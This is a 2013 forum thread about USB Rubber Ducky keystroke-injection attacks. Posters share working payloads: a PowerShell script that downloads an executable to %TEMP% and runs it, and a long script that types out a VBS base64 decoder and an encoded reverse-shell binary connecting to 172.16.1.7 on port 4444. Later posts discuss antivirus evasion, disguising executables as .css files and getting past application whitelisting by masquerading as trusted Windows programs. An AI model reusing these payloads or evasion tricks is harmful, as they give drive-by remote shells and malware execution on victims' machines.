[Question] The Future of Ducky Scripting?

[ApacheTech Consultancy]

Now that the four/five line wget and execute script can grab any program and run it in lightning quick speed:

DELAY 3000
GUI r
DELAY 100
STRING powershell (new-object
System.Net.WebClient).DownloadFile('http://path.to/file.old','%TEMP%\file.exe');
Start-Process "%TEMP%\file.exe"
ENTER

Will the way we write scripts change? I've got a feeling that the focus will move from writing the text script which executes harful code, to writing obfuscated, compressed executables.

So the question is, which language? .NET offers the best easy routes to the victim's files and system, but ASM will give the best value for size of application, and the least chance of being caught by AV. AutoIT gives some really quick and simple options, such as the clipboard logger which Mubix showed on the show. Or with Phalanger, you can write WIndows executables in PHP which are almost impossible to reverse engineer.

Should the focus now move away from DuckyScript and more to application coding?

[no42]

Ducky Script and the firmware still have some limitations like ALT codes( ALT+014) are not supported, the next major revision might support this ;)

Current developments, we are working on supporting mouse movements, clicks etc.

I see the Ducky project centred around the

• hardware,
• firmware,
• encoder.

The language maps and payloads will always be down to individuals or the community.

Moving onto specific payload encodings, is a common topic in pentesting and AV evasion, maybe best suited in another sub-forum.

Edited February 17, 2013 by midnitesnake

[ApacheTech Consultancy]

I suppose what I mean is that the script above, for the most part, is the only DuckyScript you will ever need for any use. It's all about the file that you download and execute. The execution script on the duck should be as concise and fast as possible. With this, as soon as the powershell window is open, the key can be removed and the downloaded file can deploy and execute anything it likes. It's automated after that point.

For instance, the reverse shell. Rather than writing out the executable in base64, writing a decoder, executing the decoder then executing the shell. You simply wget the shell and execute it. It's the same five lines of code as above with a different file. Rather than the 50 or so lines for the reverse shell script.

DELAY 600
ESCAPE
ESCAPE
DELAY 400
WINDOWS R
DELAY 400
STRING cmd
DELAY 400
ENTER
DELAY 400
STRING copy con c:\decoder.vbs
ENTER
STRING Option Explicit:Dim arguments, inFile, outFile:Set arguments = WScript.Arguments:inFile = arguments(0)
STRING :outFile = arguments(1):Dim base64Encoded, base64Decoded, outByteArray:dim objFS:dim objTS:set objFS = 
STRING CreateObject("Scripting.FileSystemObject"):
ENTER
STRING set objTS = objFS.OpenTextFile(inFile, 1):base64Encoded = 
STRING objTS.ReadAll:base64Decoded = decodeBase64(base64Encoded):writeBytes outFile, base64Decoded:private function 
STRING decodeBase64(base64):
ENTER
STRING dim DM, EL:Set DM = CreateObject("Microsoft.XMLDOM"):Set EL = DM.createElement("tmp"):
STRING EL.DataType = "bin.base64":EL.Text = base64:decodeBase64 = EL.NodeTypedValue:end function:private Sub 
STRING writeBytes(file, bytes):Dim binaryStream:
ENTER
STRING Set binaryStream = CreateObject("ADODB.Stream"):binaryStream.Type = 1:
STRING binaryStream.Open:binaryStream.Write bytes:binaryStream.SaveToFile file, 2:End Sub
ENTER
CTRL z
ENTER
STRING copy con c:\reverse.txt
ENTER
STRING TVprZXJuZWwzMi5kbGwAAFBFAABMAQIAAAAAAAAAAAAAAAAA4AAPAQsBAAAAAgAAAAAAAAAA
ENTER
STRING AADfQgAAEAAAAAAQAAAAAEAAABAAAAACAAAEAAAAAAAAAAQAAAAAAAAAAFAAAAACAAAAAAAA
ENTER
STRING AgAAAAAAEAAAEAAAAAAQAAAQAAAAAAAAEAAAAAAAAAAAAAAA20IAABQAAAAAAAAAAAAAAAAA
ENTER
STRING AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
ENTER
STRING AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAATUVXAEYS
ENTER
STRING 0sMAMAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA4AAAwALSdduKFuvUABAAAABAAADvAgAA
ENTER
STRING AAIAAAAAAAAAAAAAAAAAAOAAAMC+HEBAAIvera1QrZeygKS2gP8Tc/kzyf8TcxYzwP8TcyG2
ENTER
STRING gEGwEP8TEsBz+nU+quvg6HI+AAAC9oPZAXUO/1P86yas0eh0LxPJ6xqRSMHgCKz/U/w9AH0A
ENTER
STRING AHMKgPwFcwaD+H93AkFBlYvFtgBWi/cr8POkXuubrYXAdZCtlq2XVqw8AHX7/1PwlVatD8hA
ENTER
STRING WXTseQesPAB1+5FAUFX/U/SrdefDAAAAAAAzyUH/ExPJ/xNy+MOwQgAAvUIAAAAAAAAAQEAA
ENTER
STRING MAFAAAAQQAAAEEAAaBwGMkAHagHoDnw4VQzoQgLIFTiean446lMMelAsFnRBMP0Bv1WysTNq
ENTER
STRING kQIGsnxVmiejeINmxwVke0+mOGe8XVBmlD05ZqNofmRmfiF9i3MM2QpqaJQtoTp6b0gV6kwF
ENTER
STRING EVBkkBBNRFWRFDxAeGooEGhdKP81MHTopJ5RVFWhVY2/bg4KCJAiC+FRFOgfgUvD/yUkILtv
ENTER
STRING KhwGQxghFL3DIghxzAFVi+yBxHz+/4hWV+hgrN2JRfwzHcmLdX44PB10Bx4iQPdB6/RR0XLp
ENTER
STRING AOFYO8F0C19eMLgDucnCCOGGSY29PHDlQyoJzy/gArAgqutz8iiNhRU5i/A2+DMqM+sbiwNm
ENTER
STRING MgfvImUgTf4iEeEoLe2UCIO53LcwS3T7OzpNCKgVWWUdZwpME0EdDxTr5qoNNgcZhzj0sH/A
ENTER
STRING VXMRi30Mxhe4An+CohOdaLCgWDQzDUYN5tH34f5Yo+7nRLsfFqnOEQTeVQE81BTUDhszwE7s
ENTER
STRING hwtw0ooGRj08ArMSDvffkOsLLDAZjQyJBkiDLQrAdfHoBBEzUcI44jCDxAf0avXoaQkZSf+9
ENTER
STRING gqogC9Aqk3U3+FAinSmGBvzoTS9oiyQ45lMaDwiNUAMhGIPABOP5//6AAvfTI8uB4USAdHzp
ENTER
STRING bMEMYHV3BvQQwEAC0OEbwlFbOkfESRnKDFcGCDAAADBAAGMwbWQAZj9AABQ4IEADd3MyXzOY
ENTER
STRING LmRs48CAZwdldGhvc0BieW5he23PHmOePPfr/w4SV1NBXc9hckZ1cBh5aMoscxNPJmNrYu/B
ENTER
STRING /7gDbJUacspebEzHV9NpdPNGp7yRR8NMQ29tiGFuZDZMaURifoB2cvudOlC3gudzFUFYIcBk
ENTER
STRING SNBDL2AAAAAAAGY/QABMb2FkTGlicmFyeUEAR2V0UHJvY0FkZHJlc3MAAAAAAAAAAAAAAAAA
ENTER
STRING AAxAAADpdL7//wAAAAIAAAAMQAAA
ENTER
CTRL z
ENTER
STRING cscript c:\decoder.vbs c:\reverse.txt c:\reverse.exe
ENTER
STRING c:\reverse.exe 172.16.1.7 4444
ENTER
STRING exit
ENTER

Changes to:

DELAY 3000
GUI r
DELAY 100
STRING powershell (new-object
System.Net.WebClient).DownloadFile('http://path.to/reverse.old','%TEMP%\reverse.exe');
Start-Process "%TEMP%\reverse.exe 172.16.1.7 4444"
ENTER

Edited February 17, 2013 by ApacheTech

[overwraith]

We gotta keep in mind however that different peoples security settings are going to be different, so maybe we shouldn't focus the development along one path too much, because some people may lock down the powershell and download prompt and not the command prompt, or vice versa, or limit the files people can download, but not limit what people bring in on their mass storage.

[CaptainHooligan]

It doesn't really matter what the limitations are set to users. There will always be some way to bypass security in one way or another. For example: robust firewall solution combined with application white listing, limited permissions and USB mass storage disabled means you aren't going to be able to download a file nor will you be able to bring one in.

[ApacheTech Consultancy]

The USB Mass Storage limitations would only come into play if you were using the TwinDuck or similar firmware. But, even if they've blocked off all USB ports with epoxy, one of these will get around that:

The whole point of the duck is that it's not a USB Mass Storage Device, it's a USB (or PS2) Keyboard.

Robust firewall solutions are ok, but they will not stop a user downloading, for instance a .css file. so reverse.css becomes reverse.exe.

If the Windows Run prompt is disabled then you can create a shortcut in windows using context menus to launch the powershell. If powershell is not active, you can write a tiny C# app which acts as a bootstrapper for your download files.

[CaptainHooligan]

That was pretty much the point I was trying to make, there is always a way to get around what security implementations you run into. The duck does appear as a HID which means what user limits we run into are what we have to deal with. If the security implementation has application white listing the download will not matter as the .exe will not be allowed to run. Typically in a locked environment downloading is limited to power users or administrators.

Either way, know the environment and plan accordingly as there is always a way when thinking outside the box.

[ApacheTech Consultancy]

Yeah, I suppose, USB-RD attacks are never your opening move. SE should always come first, in which case, you'd know more or less what your up against and can script your attacks thusly.

On a whitelist based executable environment, can you still you the rundll32 to execute a dll?

If not, you could mask it as an internal windows program like Magnifier.exe or bind the executable payload to a whitelisted exe like Winword.exe.

[no42]

If the security implementation has application white listing the download will not matter as the .exe will not be allowed to run.

Obviously depends on the systems Software Restriction Policies (SRP), these are often mis-configured, and in some conditions can be bypassed.